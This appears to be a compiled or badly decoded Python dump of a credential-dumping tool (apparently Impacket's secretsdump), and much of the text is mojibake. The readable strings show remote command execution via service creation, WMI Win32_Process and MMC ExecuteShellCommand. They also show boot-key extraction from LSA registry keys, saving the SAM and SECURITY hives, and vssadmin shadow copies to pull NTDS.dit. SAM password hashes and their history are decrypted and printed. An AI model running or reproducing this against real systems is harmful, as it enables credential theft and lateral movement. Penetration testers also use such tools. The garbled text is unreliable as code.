 }t | j|¡ t | j|tj¡ t | j|¡ t | j| j¡ t | j| j¡ |  ¡  W d S  t!yÂ } zW Y d }~d S d }~ww d S d S )NTzStopping service %sz+Restoring the disabled state for service %sr  ry  Fzncacn_np:%s[\pipe\svcctl]r’  rt  rg  )"rd  r   r~  rR  r   ÚhRControlServicerg  r{  ÚSERVICE_CONTROL_STOPrc  r€  ri  rh  r   rw  rO  rJ  r¬  r’  r­  r®  r`  ra  ry  rz  r{  r|  rz  rl  rk  ÚhRDeleteServicern  rW  r1  )r	  r~  r
  rŽ  Úservicer7  rt   rt   ru   Ú	__restorei  s<   





€ûèzRemoteOperations.__restorec              
   C   s    |   ¡  | jd ur| j ¡  | jd ur| j ¡  | jd ur"| j ¡  | jd urNz| j ¡  W d S  tyM } zt|ƒ d¡dkrAn‚ W Y d }~d S d }~ww d S )NÚSTATUS_INVALID_PARAMETERr   )	Ú_RemoteOperations__restorerT  rW  r[  rW  rg  r1  r2  r3  ©r	  r7  rt   rt   ru   Úfinish�  s$   






þ€þýzRemoteOperations.finishc                 C   sè   d}t  | j¡}|d | _dD ]2}t d| ¡ t  | j| jd| ¡}|d }t  | j|¡}|t|d d d… ƒ }t  	| j|¡ qg d	¢}t
|ƒ}tt|ƒƒD ]}|  j||| || d
 … 7  _qPt dt| jƒ d¡ ¡ | jS )Nr=  ÚphKey©ÚJDÚSkew1ÚGBGr�   úRetrieving class info for %sz'SYSTEM\CurrentControlSet\Control\Lsa\%sr[  Ú
lpClassOutrÕ  ©rè  r  r  r“  é   é	   é   r/  r   r  r0  é   é   é
   é   é   r0  úTarget system bootKey: 0x%sr  )r   ÚhOpenLocalMachinerT  rU  r   rÁ  r_  ÚhBaseRegQueryInfoKeyr   ra  r   r  r?  rb  r~  r   r:  )r	  ÚbootKeyr
  Úkeyrb  Ú
transformsr  rt   rt   ru   Ú
getBootKey¡  s    
$zRemoteOperations.getBootKeyc                 C   s„   t  d¡ t | j¡}|d | _t | j| jd¡}|d }zt | j|d¡\}}W n   d}Y |dkr;t  d¡ d	S t  d
¡ dS )NúChecking NoLMHash Policyr�  z$SYSTEM\CurrentControlSet\Control\Lsar[  ÚNoLmHashr   r0  úLMHashes are being storedFúLMHashes are NOT being storedT)r   rÁ  r   r¡  rT  rU  r_  r`  )r	  r
  rb  rc  ÚnoLMHashrt   rt   ru   ÚcheckNoLMHashPolicy¸  s   



z$RemoteOperations.checkNoLMHashPolicyc                 C   s¤   d  dd„ tdƒD ƒ¡d }t | j¡}|d }z
t | j||¡}W n	   td| ƒ‚|d }t | j|d	| ¡ t | j|¡ t | j|¡ t	| j
d
| ƒ}|S )NrÍ  c                 S   ó   g | ]}t  tj¡‘qS rt   ©ÚrandomÚchoiceÚstringÚascii_letters©Ú.0rM  rt   rt   ru   Ú
<listcomp>Ì  ó    z3RemoteOperations.__retrieveHive.<locals>.<listcomp>rè  ú.tmpr�  zCan't open %s hiver[  z..\Temp\zTemp\)rÃ  r  r   r¡  rT  ÚhBaseRegCreateKeyr1  ÚhBaseRegSaveKeyra  r"  rO  )r	  ÚhiveNameÚtmpFileNamer
  Ú	regHandlerb  ÚremoteFileNamert   rt   ru   Ú__retrieveHiveË  s   zRemoteOperations.__retrieveHivec                 C   ó   t  d¡ |  d¡S )NzSaving remote SAM databaseÚSAM©r   rÁ  Ú_RemoteOperations__retrieveHiverD  rt   rt   ru   ÚsaveSAMÛ  ó   

zRemoteOperations.saveSAMc                 C   r¿  )NzSaving remote SECURITY databaseÚSECURITYrÁ  rD  rt   rt   ru   ÚsaveSECURITYß  rÄ  zRemoteOperations.saveSECURITYc                 C   sl   d| _ tj| j| j| j| j|d�}|d }z	t | j|¡ W n   Y t | j|¡ d| _ t | j|¡ d S )NF)ÚlpBinaryPathNamerg  T)	ri  r   ÚhRCreateServiceWrg  rl  rh  r�  r‰  rn  )r	  ÚcommandrŽ  rŠ  rt   rt   ru   Ú	__smbExecã  s   ÿzRemoteOperations.__smbExecc              
   C   sÂ   t d |¡ƒd }d }|tkrtd |¡ƒ}n+|tkr#td |¡ƒ}n|tkr/td |¡ƒ}n|tkr;t	d |¡ƒ}nt
 d| ¡ tt| ¡ d | ¡ |d d |d d |d d | ¡ d�ƒS )Nr=  ÚflagszUnknown OBJREF Type! 0x%xÚstdÚipidÚoxid)rÎ  ÚoidÚtarget)r+   rÃ  r,   r-   r1   r.   r2   r0   r3   r/   r¿  rÆ  r4   r5   Úget_cinstanceÚget_ipidRemUnknownÚ
get_target)r	  Ú	interfacerŽ  Ú
objRefTypeÚobjRefrt   rt   ru   Ú__getInterfaceð  s"   þÿzRemoteOperations.__getInterfacec                 C   sÚ  |  dd¡}| j ¡ \}}}}}}}}t| j ¡ ||||||d| j| jd�
}	|	 tdƒt	¡}
t
|
ƒ}| d¡}td dƒ}t|d< t|d< d	|d
< d	|d< | |d	 dt|d	g g ¡}t
|  ||d d d d ¡ƒ}| d¡}| |d	 dt|d	g g ¡}t
|  ||d d d d ¡ƒ}| d¡d	 }| d¡d	 }td dƒ}t|d< d|d
< d	|d< td dƒ}d|d< tj|d< tj|d d< d|d d d< td dƒ}d|d< tj|d< tj|d d< d|d d d< td dƒ}d|d< tj|d< tj|d d< |tdƒd … |d d d< td dƒ}d|d< tj|d< tj|d d< d|d d d< |d  |¡ |d  |¡ |d  |¡ |d  |¡ | |dt|d	g g ¡ td dƒ}t|d< t|d< d	|d
< d	|d< | |dt|d	g g ¡ d S )Nú	%COMSPEC%zc:\windows\system32\cmd.exeF©ÚoxidResolverro  rp  z$49B2791A-B1AE-4C90-9B8E-E860BA07F889)ÚDocumentÚrgvargÚrgdispidNamedArgsr   ÚcArgsÚ
cNamedArgsi	  Ú
pVarResultÚ	_varUnionÚpdispValÚabData)Ú
ActiveView)ÚExecuteShellCommand)ÚQuitr  r  ÚclSizeÚvtrë  ÚbstrValÚasDatazc:\Ú7)ÚreplacerO  r­  r*   rJ  r`  ra  ÚCoCreateInstanceExr>   r#   r$   ÚGetIDsOfNamesr%   r   ÚInvoker&   Ú_RemoteOperations__getInterfacer'   r(   ÚVT_BSTRr?  r  r)   )r	  rÉ  re  Úpasswordr�  ÚlmhashÚnthashÚaesKeyrM  ÚdcomÚ
iInterfaceÚiMMCrŽ  Ú
dispParamsÚ	iDocumentÚiActiveViewÚpExecuteShellCommandÚpQuitÚarg0Úarg1Úarg2Úarg3rt   rt   ru   Ú	__mmcExec  sn   
ÿ

 
 









zRemoteOperations.__mmcExecc                 C   s¤   |  dd¡}| j ¡ \}}}}}}}}t| j ¡ ||||||d| j| jd�
}	|	 tj	tj
¡}
t |
¡}| dtt¡}| ¡  | d¡\}}| |dd ¡ |	 ¡  d S )NrØ  zcmd.exeFrÙ  ú//./root/cimv2ÚWin32_Processú\)rì  rO  r­  r*   rJ  r`  ra  rí  r"   ÚCLSID_WbemLevel1LoginÚIID_IWbemLevel1LoginÚIWbemLevel1LoginÚ	NTLMLoginr   Ú
RemReleaseÚ	GetObjectÚCreaterW  )r	  rÉ  re  rò  r�  ró  rô  rõ  rM  rö  r÷  ÚiWbemLevel1LoginÚiWbemServicesÚwin32Processrt   rt   ru   Ú	__wmiExecI  s   
ÿ
zRemoteOperations.__wmiExecc                 C   s´   | j  ¡ \}}}}}}}}t| j  ¡ ||||||d| j| jd�
}	|	 tjtj	¡}
t 
|
¡}| dtt¡}| ¡  | d¡\}}t d¡ | |d¡}|j}t d| ¡ |	 ¡  |S )NFrÙ  r  ÚWin32_ShadowCopyz$Trying to create SS remotely via WMIÚClientAccessiblezGot ShadowID %s)rO  r­  r*   rJ  r`  ra  rí  r"   r  r  r  r	  r   r
  r  r   rÁ  r  ÚShadowIDrW  )r	  Úvolumere  rò  r�  ró  rô  rõ  rM  rö  r÷  r  r  Úwin32ShadowCopyÚresultÚshadowIdrt   rt   ru   Ú__wmiCreateShadowY  s   
ÿ

z"RemoteOperations.__wmiCreateShadowc                 C   s˜   | j  ¡ \}}}}}}}}t| j  ¡ ||||||d| j| jd�
}	|	 tjtj	¡}
t 
|
¡}| dtt¡}| ¡  d| }t d¡ | |¡ |	 ¡  d S )NFrÙ  r  zWin32_ShadowCopy.ID="%s"zTrying to delete ShadowCopy)rO  r­  r*   rJ  r`  ra  rí  r"   r  r  r  r	  r   r
  r   rÁ  ÚDeleteInstancerW  )r	  ÚssIDre  rò  r�  ró  rô  rõ  rM  rö  r÷  r  r  ÚwmiPathrt   rt   ru   Ú__wmiDeleteShadowm  s   
ÿ


z"RemoteOperations.__wmiDeleteShadowc                 C   s¾   d  dd„ tdƒD ƒ¡| _| jd | d | j d | j d | j | j }|d	| j 7 }t d
| ¡ | jdkr@|  	|¡ d S | jdkrL|  
|¡ d S | jdkrX|  |¡ d S td| j ƒ‚)NrÍ  c                 S   r­  rt   r®  r³  rt   rt   ru   rµ  }  r¶  z4RemoteOperations.__executeRemote.<locals>.<listcomp>rè  zecho z ^> z > z & z & del zExecuteRemote command: %srN  ÚwmiexecÚmmcexecz Invalid exec method %s, aborting)rÃ  r  rh  rk  rl  rj  r   rÁ  rn  Ú_RemoteOperations__smbExecÚ_RemoteOperations__wmiExecÚ_RemoteOperations__mmcExecr1  )r	  rŸ   rÉ  rt   rt   ru   Ú__executeRemote|  s   $ÿÿ


z RemoteOperations.__executeRemotec                 C   s   |  j |7  _ d S rG  )rm  ©r	  rŸ   rt   rt   ru   Ú__answer�  s   zRemoteOperations.__answerc              
   C   s´  |rd| }nd}|   |¡ t d¡ d}	 z| j dd| j¡ W n/ tyO } z"|dkr1td	ƒ‚t|ƒ d
¡dkrDt d¡ |d7 }n‚ W Y d }~nd }~ww q| j	 
d¡}d}d}d}d}	d}
tdƒ}|D ]J}| d¡dkr~|| d¡d … d d… }qg| |	¡dkr—|| |	¡t|	ƒ d … d d… }qg| |
¡dkr±|| |
¡t|
ƒ d … d |d … }qg| j dd¡ t d| d¡| d¡| d¡f ¡ | d¡| d¡| d¡fS )Nz(%COMSPEC% /C vssadmin list shadows /for=z"%COMSPEC% /C vssadmin list shadowsr  r   Tr#  úTemp\__outputé   z)Too many tries trying to list vss shadowsÚSHARINGr0  ó   
r=  s	   Volume: (s   Shadow Copy ID: {z%3547017b-0ac9-478b-88e6-f9be7e1c11999s
   GLOBALROOTs   \\?rÕ  r“  z2__getLastVSS found last VSS %s on %s with ID of %sr  )Ú _RemoteOperations__executeRemoter4  r5  rO  ÚgetFileÚ_RemoteOperations__answerr1  r2  r3  rm  rH  r?  rC  r   rÁ  r:  )r	  ÚforDriverÉ  r6  r7  ÚlinesÚ
lastShadowÚlastShadowForÚlastShadowIdÚ	SHADOWFORÚIDSTARTÚIDLENÚlinert   rt   ru   Ú__getLastVSS�  sP   



þ€øü$&€&zRemoteOperations.__getLastVSSc              
   C   sV  t  d¡ zt | j¡}|d }W n   Y d S zt | j| jd¡}|d }W n   Y d S zt | j|d¡\}}|d d… }|d d… }W n   Y d S t | j|¡ t | j|¡ t  d| ¡ t  d	| j	 ¡ | j
|d
�\}}	}
|dks|dkrž|	|krž|  d| ¡ | j
|d
�\}}	}
d}|dks™|	|kr�tdƒ‚nd}d dd„ tdƒD ƒ¡d }|  d||dd … |f ¡ |du rÎt  d|
 ¡ |  d|
 ¡ d}	 z	| j dd¡ W nF t�y } z8|dkré|‚t|ƒ d¡dksüt|ƒ d¡dk�r|d7 }t d¡ nt d| j ¡ t|ƒf ¡ 	 W Y d }~nd }~ww qÑt| jd | ƒ}|S )!NzSearching for NTDS.ditr�  z1SYSTEM\CurrentControlSet\Services\NTDS\Parametersr[  zDSA Database filerÕ  r“  zZRegistry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some timez$Using %s method for remote execution)r,  rÍ  z-%%COMSPEC%% /C vssadmin create shadow /For=%sTzCould not get a VSSFc                 S   r­  rt   r®  r³  rt   rt   ru   rµ  î  r¶  z-RemoteOperations.saveNTDS.<locals>.<listcomp>rè  r·  z/%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\Temp\%sziTrying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quietz<%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quietr   r#  r%  r&  ÚSTATUS_OBJECT_NAME_NOT_FOUNDr.  r0  r  z7Cannot delete target file \\%s\ADMIN$\Temp\__output: %szTemp\%s)r   r~  r   r¡  rT  r_  rU  r`  ra  rn  Ú_RemoteOperations__getLastVSSr)  r1  rÃ  r  rÁ  rO  rC  r2  r3  r4  r5  r¿  rÆ  rJ  r"  )r	  r
  r¼  rb  rc  rd  ÚntdsLocationÚ	ntdsDriveÚshadowÚ	shadowForr  ÚshouldRemover»  r6  r7  r½  rt   rt   ru   ÚsaveNTDSÂ  sl   
ÿ&
€÷üzRemoteOperations.saveNTDSFc           	   	   C   s8  t  d¡ |  |¡}t  d¡ | j | j d¡d¡d }t  d| ¡ t  d¡ d| d	| fd
| d| fd| d| fg}|rQt  d¡ | d| d| f¡ |D ]1}t  d|d |d f ¡ t|d dƒ�}| j 	d|d |j
¡ W d   ƒ n1 sw   Y  qSt  d¡ |  |¡ t  d¡ tt|Ž ƒd S )NzCreating SSz5Getting SMB equivalent PATH to access remotely the SSr#  ú/r   zGot SMB GMT Path: %sz!Performed SS via WMI and got infoz%s/SAMz%s\System32\config\SAMz	%s/SYSTEMz%s\System32\config\SYSTEMz%s/SECURITYz%s\System32\config\SECURITYzAdding NTDS Pathz%s/ntds.ditz%s\NTDS\ntds.ditz$Downloading Remote path: %s to -> %sr0  ÚwbzTrying to delete ShadowSnapshotzDDownloaded SAM, SYSTEM and SECURITY from Shadow Snapshot. Dumping...)r   r~  Ú"_RemoteOperations__wmiCreateShadowrO  ÚlistSnapshotsr&  rÁ  r  r  r*  ÚwriteÚ"_RemoteOperations__wmiDeleteShadowr»  Úzip)	r	  r  Ú	localPathÚNTDSr  Ú
gmtSMBPathÚpathsÚpÚ
local_filert   rt   ru   ÚcreateSSandDownloadWMI  s.   



þ
ÿ€


z'RemoteOperations.createSSandDownloadWMI©NN)r   rG  ©F)5rp   rq   rr   r+  rt  rƒ  r…  rƒ  r�  rÎ  rË  rÌ  r   ÚDS_NAME_FORMATÚDS_DISPLAY_NAMEÚDS_FQDN_1779_NAMErÓ  rà  ræ  rÝ  r  r  r  r%  r+  r@  rA  rB  rP  r  rZ  rf  rs  r„  r†  r�  r�  r¦  r¬  rÂ  rÃ  rÆ  r  rð  r!  r   r@  rC  r)  r+  r7  r=  rK  rt   rt   rt   ru   rL  ¤  sb    
)P
ÿ

&		$	'E
2IrL  c                   @   s0   e Zd Zdd„ Zed	dd„ƒZed	dd„ƒZdS )
ÚCryptoCommonc                 C   sž   t d|ƒ}|d |d |d |d |d |d |d g}|d |d |d |d |d |d |d g}trCtd |¡ƒtd |¡ƒfS tt|ƒƒtt|ƒƒfS )Nú<Lr   r0  r“  r/  r=  )r   r   r?   rÃ  Úbytes)r	  ÚbaseKeyr¤  Úkey1Úkey2rt   rt   ru   Ú	deriveKey*  s   
..zCryptoCommon.deriveKeyó                   c                 C   sŒ   d}|dkrt  | t j|¡}tdt|ƒdƒD ]-}|dkr$t  | t j|¡}|||d … }t|ƒdk r<|ddt|ƒ  7 }|| |¡7 }q|S )Nr=  rX  r   é   r   )rX   ÚnewÚMODE_CBCr  r?  Údecrypt)r¤  ÚvalueÚivÚ	plainTextÚaes256ÚindexÚcipherBufferrt   rt   ru   Ú
decryptAES9  s   zCryptoCommon.decryptAESc                 C   sŽ   d}|dkrt  | t j|¡}dt|ƒd  }|t|g| ƒ7 }tdt|ƒdƒD ]}|dkr5t  | t j|¡}|||d … }|| |¡7 }q'|S )Nr=  rX  rY  r   )rX   rZ  r[  r?  rS  r  Úencrypt)r¤  r]  r^  Ú
cipherTextr`  Úpadra  ÚplainBufferrt   rt   ru   Ú
encryptAESJ  s   zCryptoCommon.encryptAESN)rX  )rp   rq   rr   rW  Ústaticmethodrc  rh  rt   rt   rt   ru   rQ  (  s    rQ  c                   @   sF   e Zd Zddd„Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Zdd„ Z	dS )ÚOfflineRegistryNFc                 C   s(   || _ | j d urt | j |¡| _d S d S rG  )Ú_OfflineRegistry__hiveFiler   Úget_registry_parserÚ_OfflineRegistry__registryHive)r	  ÚhiveFileÚisRemotert   rt   ru   r+  ^  s   
ÿzOfflineRegistry.__init__c                 C   ó(   | j  |¡}|d u rd S | j  |¡}|S rG  )rm  ÚfindKeyÚenumKey)r	  Ú	searchKeyÚ	parentKeyÚkeysrt   rt   ru   rr  c  ó
   zOfflineRegistry.enumKeyc                 C   rp  rG  )rm  rq  Ú
enumValues)r	  rs  r¤  r  rt   rt   ru   rw  m  rv  zOfflineRegistry.enumValuesc                 C   ó   | j  |¡}|d u rd S |S rG  )rm  ÚgetValue)r	  ÚkeyValuer]  rt   rt   ru   ry  w  ó   zOfflineRegistry.getValuec                 C   s   | j  ||¡}|d u rd S |S rG  )rm  ÚsetValue)r	  rz  rd  r]  rt   rt   ru   r|    s   zOfflineRegistry.setValuec                 C   rx  rG  )rm  ÚgetClass)r	  Ú	classNamer]  rt   rt   ru   r}  ‡  r{  zOfflineRegistry.getClassc                 C   ó   | j d ur| j ¡  d S d S rG  )rk  rm  rE  rD  rt   rt   ru   r�  �  s   
þzOfflineRegistry.finish)NF)
rp   rq   rr   r+  rr  rw  ry  r|  r}  r�  rt   rt   rt   ru   rj  ]  s    


rj  c                   @   s¦   e Zd Zddddd„ dfdd„Zd&dd„Zdd	„ Zd
d„ Zdd„ Zd&dd„Zd&dd„Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zd'd!d"„Zd(d$d%„Zd#S ))Ú	SAMHashesFc                 C   s   t | ƒS rG  ©Ú_print_helper)Úsecretrt   rt   ru   r    •  ó    zSAMHashes.<lambda>c                 C   sP   t  | ||¡ || _d| _|| _|| _tƒ | _i | _|| _	|| _
g | _|| _d S )Nr=  )rj  r+  Ú_SAMHashes__samFileÚ_SAMHashes__hashedBootKeyÚ_SAMHashes__bootKeyÚ_SAMHashes__printUserStatusrQ  Ú_SAMHashes__cryptoCommonÚ_SAMHashes__itemsFoundÚ_SAMHashes__perSecretCallbackÚ_SAMHashes__historyÚ_SAMHashes__historyItemsÚ_SAMHashes__pwdLastSet)r	  ÚsamFiler£  ro  ÚhistoryÚprintUserStatusÚperSecretCallbackÚ
pwdLastSetrt   rt   ru   r+  •  s   
zSAMHashes.__init__c           	   	      s:  t ˆ ƒdk rdS t ˆ ƒdkr\|s7ˆ d }tˆ dd… ƒ ¡  d¡}tdˆ dd… ƒd }d|› d	|› d	|› �S ‡ fd
d„tdddƒD ƒ}dd„ |D ƒ}d|d › d	|d › d	|d › �S t ˆ ƒdkr›ˆ d }tˆ dd… ƒ ¡  d¡}d	 tttdˆ dd… ƒƒ¡}tdˆ dd… ƒd }d|› d	|› d	|› d	|› �S dS )Nr›  rÍ  r   r“  rè  Ú0rR  zS-ú-c                    s&   g | ]}ˆ ||d  … ddd… ‘qS )r  NrÕ  rt   )r´  r  ©Úbinary_datart   ru   rµ  ­  s   & z+SAMHashes.binary_to_sid.<locals>.<listcomp>r  c                 S   s   g | ]	}t j|d d�‘qS )Úbig©Ú	byteorder)ÚintÚ
from_bytes)r´  Úsectionrt   rt   ru   rµ  ®  s    z	S-1-5-21-r0  z<LLLLé   é   )	r?  r   r:  Úlstripr
   r  rÃ  Úmapr2  )	r	  r—  Úwithout_prefixÚrevÚauthidÚsubÚsectionsÚdecimalsr$  rt   r–  ru   Úbinary_to_sid¢  s$   "zSAMHashes.binary_to_sidc                 C   s>   t j|dd�}|dkrtddddddƒS |d d }t |¡S )NÚlittler™  r   éA  r0  ì     }*{Gíé€–˜ )r›  rœ  r   Úutcfromtimestamp)r	  Únt_timeÚ	unix_timert   rt   ru   Únt_time_to_datetimeº  s
   
zSAMHashes.nt_time_to_datetimec                 C   ó   t  d¡}| |¡ | ¡ S ©NÚmd5©ÚhashlibrZ  ÚupdateÚdigest©r	  rŸ   r³  rt   rt   ru   r[   Æ  ó   

zSAMHashes.MD5c           	      C   s&  t  d¡ d}d}|  t dd¡¡d }t|ƒ}|d dd… d	krkt|d ƒ}|  |d
 | | j | ¡}t	 
|¡}| |d |d  ¡| _|  | jd d… | | jd d…  | ¡}|| jdd … kritdƒ‚d S |d dd… dkr‘t|d ƒ}| j | j|d d |d … |d
 ¡| _d S d S )Nz"Calculating HashedBootKey from SAMs/   !@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&% s)   0123456789012345678901234567890123456789 úSAM\Domains\AccountÚFr0  rš   r   ó   ri   rQ   rl   rY  zJhashedBootKey CheckSum failed, Syskey startup password probably in use! :(ó   r�   r   )r   rÁ  ry  ÚntpathrÃ  r…   rb   r[   r‡  rW   rZ  rd  r†  r1  r}   r‰  rc  )	r	  ÚQWERTYÚDIGITSr»  Ú
domainDataÚ
samKeyDataÚrc4KeyÚrc4ÚcheckSumrt   rt   ru   ÚgetHBootKeyË  s(   

*ÿ

ÿüzSAMHashes.getHBootKeyc                 C   sÂ   | j  |¡\}}t |tj¡}t |tj¡}|du r8|  | jd d… td|ƒ | ¡}	t |	¡}
|
 	|d ¡}n| j  
| jd d… |d |d ¡d d… }| |d d… ¡| |dd … ¡ }|S )NFrY  rR  r|   ri   rè  )r‰  rW  rV   rZ  ÚMODE_ECBr[   r†  r   rW   rd  rc  r\  )r	  r$  ÚcryptedHashÚconstantÚnewStyleÚKey1ÚKey2ÚCrypt1ÚCrypt2rÃ  rÄ  r¤  ÚdecryptedHashrt   rt   ru   Ú__decryptHashè  s   "
*$zSAMHashes.__decryptHashc                 C   s°   | j  |¡\}}t |tj¡}t |tj¡}	| |d d… ¡|	 |dd … ¡ }
|du rI|  | jd d… td|ƒ | ¡}t	 |¡}| |
¡}|S | j  
| jd d… |
|¡}|S )Nrè  FrY  rR  )r‰  rW  rV   rZ  rÇ  rd  r[   r†  r   rW   rh  )r	  r$  ÚplaintextHashrO  rÉ  rÊ  rË  rÌ  rÍ  rÎ  r¤  rÃ  rÄ  ÚencryptedHashrt   rt   ru   Ú__encryptHashû  s   $"

þzSAMHashes.__encryptHashc                 C   sP   | j  |¡\}}t |tj¡}t |tj¡}| |d d… ¡| |dd… ¡ S )Nrè  rY  )r‰  rW  rV   rZ  rÇ  r\  )r	  Úrid_intÚblock16rU  rV  Úcrypt1Úcrypt2rt   rt   ru   Ú__unwrap_history_block  s   $z SAMHashes.__unwrap_history_blockc                 C   s°   g }| j d d… }|D ]J\}}|rt|ƒd dkrq|r"t|ƒdkr#qtj|tj|d�}| |¡}tdt|ƒdƒD ]}	||	|	d … }
t|
ƒdk rK n
| |  ||
¡¡ q9q|S )NrY  r   )r^  )	r†  r?  rX   rZ  r[  r\  r  r  Ú _SAMHashes__unwrap_history_block)r	  rÔ  ÚentriesÚoutr¤  rO  ÚencÚcipherÚplainÚoffÚblockrt   rt   ru   Ú__decrypt_history_entries_aes  s    
€z'SAMHashes.__decrypt_history_entries_aesc           	      C   sê   g }t |ƒ}|dkrdnd}|d |krs|||d … }tj||d |d … ddd�}|dks4|d	kr9|d
7 }q|d }|| |ksI|d dkrN|d
7 }q|||| … }| ||f¡ || }|d
 rm|d
|d
  7 }|d |ks|S )Ni   é   r   é   rY  r©  F©Úsignedi    r  )r?  r›  rœ  r  )	r	  ÚvdatarÚ  Úlengthr:  rO  Údata_lenÚdata_offrÜ  rt   rt   ru   Ú__scan_v_for_aes_entries%  s(    òz"SAMHashes.__scan_v_for_aes_entriesc           
   	   C   sÐ   |dks|dkr
g S || }|t |ƒkrg S |||… }t |ƒdk r$g S zt|ƒ}W n ty>   tjd||dd� g  Y S w |d }|sGg S t |ƒt |ƒd  }	|	dkrWg S |d |	… }|  ||d |fg¡S )	Nr   rž  z;Failed to parse SAM_HASH_AES history block at 0x%x (len=%d)Tr5  r|   rY  ri   )r?  rƒ   r1  r   rÁ  Ú'_SAMHashes__decrypt_history_entries_aes)
r	  rÔ  rŸ   r:  rç  ÚendÚblobÚrecordrÜ  Úenc_lenrt   rt   ru   Ú__decode_aes_history_block:  s,   þz$SAMHashes.__decode_aes_history_blockc                 C   s\  d}d}g g dœ}|d }|d }t j|dd… dd	d
�}	t j|dd… dd	d
�}
t j|dd… dd	d
�}t j|dd… dd	d
�}|sKt d|¡ |S |  |||	|
¡}|  ||||¡}|sp|
rp||	|	|
 … }|  ||  |¡¡}|s…|r…|||| … }|  ||  |¡¡}||d< ||d< |d s¬|d s¬|
dkr¬|dkr¬|  |¡}|r¬|  ||¡|d< |S )Ns   LMPASSWORDHISTORY s   NTPASSWORDHISTORY )ÚlmÚntrÝ   r�   r   r  r©  Frä  rè  r›  rY  rã  z<Skipping old-style history for RID %d; RC4/DES path disabledrñ  rò  )r›  rœ  r   rÁ  Ú$_SAMHashes__decode_aes_history_blockrë  Ú"_SAMHashes__scan_v_for_aes_entries)r	  rÔ  Ú	new_styleÚuser_accountÚlm_constÚnt_constr  ÚmetarŸ   Ú	lm_offsetÚ	lm_lengthÚ	nt_offsetÚ	nt_lengthÚ
lm_entriesÚ
nt_entriesrí  Úfallback_entriesrt   rt   ru   Ú__extract_local_historyV  s6   
 
z!SAMHashes.__extract_local_historyc                 C   s.   t |ƒ}t|ƒD ]
\}}|||| < qt|ƒS rG  )Ú	bytearrayÚ	enumeraterS  )r	  Úobjr:  r]  r  Úvrt   rt   ru   Ú__replaceValue}  s   zSAMHashes.__replaceValuec           C      C   s^  d}d}| j d u rd S t d¡ |  ¡  g | _d}|  |¡}z| d¡ W n   Y |  t 	dd¡¡d }t
|ƒ}|d	 }|d
 }tt|ƒd d� ¡ d }	|  t 	dd¡¡d }
t|
ƒ}| j|d dd�}d}tƒ }|  |¡D ]•}| d¡sxqp|  t 	||d¡¡d }t|ƒ}|d }|d }|d ||| …  d¡}|d }||g dœ||< zDd}tdƒD ];}|d d | }td|||d  … ƒd }|d!v rë|d"krÑd#nd$}|  |||| … ¡}|| d%  |¡ ||7 }q°W qp t�y   || d% �sd&g|| d%< Y qpw d'd(„ | ¡ D ƒ}tt d)d)¡ƒ d*¡}tt d)d)¡ƒ d*¡}|D �]„}d+ }  }! }"}#t|  t 	||d¡¡d ƒ}$|$d, }%|$d- }&|  |&¡}'|$d. }(|› d/|(› �})|)|v }#|%|k}*|*�rr|'t|	d0� }+t  ¡ },|,|+k }*|$d1 }-t!|-d@ ƒ} t!|-d2@ ƒ}"|*}!|  t 	||d¡¡d }.t"|.ƒ}/t#|d3ƒ}|/d }
|
|/d |/d |/d  …  d4¡}0|/d5 dk�r¾t$ %d6|0 ¡ �q'd7}1|
|/d8 d … d9d:… d;k�r d+}2|/d< d=k�rèt&|
|/d> d … d |/d< … ƒ}3|/d5 d=k�rÿt&|
|/d8 d … d |/d5 … ƒ}1n)d}2|/d< d?k�rt'|
|/d> d … d |/d< … ƒ}3t'|
|/d8 d … d |/d5 … ƒ}1t %d@|2 ¡ |/d< d=k�r@|  (||3||2¡}4nd7}4|1d7k�rP|  (||1||2¡}5nd7}5|4d7k�r]t d)d)¡}4|5d7k�rht d)d)¡}5dA|0|t|4ƒ d*¡t|5ƒ d*¡f }6| j)�r¥|$dB d u�r›|  |$dB ¡}7|7tdCdddddƒk�ršdD}7ndE}7|6› dF|7› dG�}6| j*du �rË|6› dH| �r³dIndJ› dK|!�s¼|"�r¾dJndI› dL|#�rÆdJndI› dG�}6|6| j+|< |  ,|6¡ | j-�r«z´|  .||2|/¡}8|8 /dMg ¡}9|8 /dNg ¡}:|9�r|:�r|9dO |:dO k�r|9 0¡  |: 0¡  |9�r|:�r|9dO |:dO k�süt %dP|0|t1|9ƒt1|:ƒ¡ t2t1|9ƒt1|:ƒƒ};t|;ƒD ]]}<|<t1|9ƒk �r:|9|< nd7}=|<t1|:ƒk �rG|:|< nd7}>|=�rSt|=ƒ d*¡n|}?|>�r_t|>ƒ d*¡n|}@|?|k�rm|@|k�rm�q-|0› dQ|<› dR|› dR|?› dR|@› dS�
}A| j |A¡ |  ,|A¡ �q-W �q' t�yª }B ztj3dT||BddU� W Y d }B~B�q'd }B~Bww �q'd S )VNó   NTPASSWORD ó   LMPASSWORD z0Dumping local SAM hashes (uid:rid:lmhash:nthash)úSAM\Domains\Account\UsersÚNamesrº  r»  r0  r”   r�   r�  )Úmicrosecondsé<   ÚVr�   T)r¢  zSAM\Domains\Builtin\AliasesÚ00000ÚCr¹   r»   r�   zutf-16rá   )ú
Group Namez
User CountÚMembersr   éô  rà   é4   rR  r  )é  i  r  r›  rŸ  r  zNo users in this groupc                 S   s6   g | ]}|d  dkr|d D ]
}|  ¡ r|  ¡ ‘qqS )r  ÚAdministratorsr  ©Ústrip)r´  ÚgroupÚmemberrt   rt   ru   rµ  È  s    ÿþþz"SAMHashes.dump.<locals>.<listcomp>rÍ  r  Fr°   r©   rª   r•  )Úminutesr¬   é   rY  úutf-16lerÛ   z-The account %s doesn't have hash information.r=  rÚ   r“  r/  r¼  rØ   rã  r×   rž  úNewStyle hashes is: %sz%s:%d:%s:%s:::r§   rª  ÚneverúN/Az (pwdLastSet=ú)z
 (Enabled=ÚFalseÚTruez
) (Locked=z	) (Admin=rñ  rò  rÕ  z,History lengths for %s (RID %d): lm=%d nt=%drj  r‚   z:::z)SAM history parsing failed for RID %d: %sr5  )4r…  r   r~  rÆ  r�  rr  Úremovery  r¾  rÃ  r…   r   ÚabsÚtotal_secondsr›   r¨  r   rG  rÞ   r:  r  r
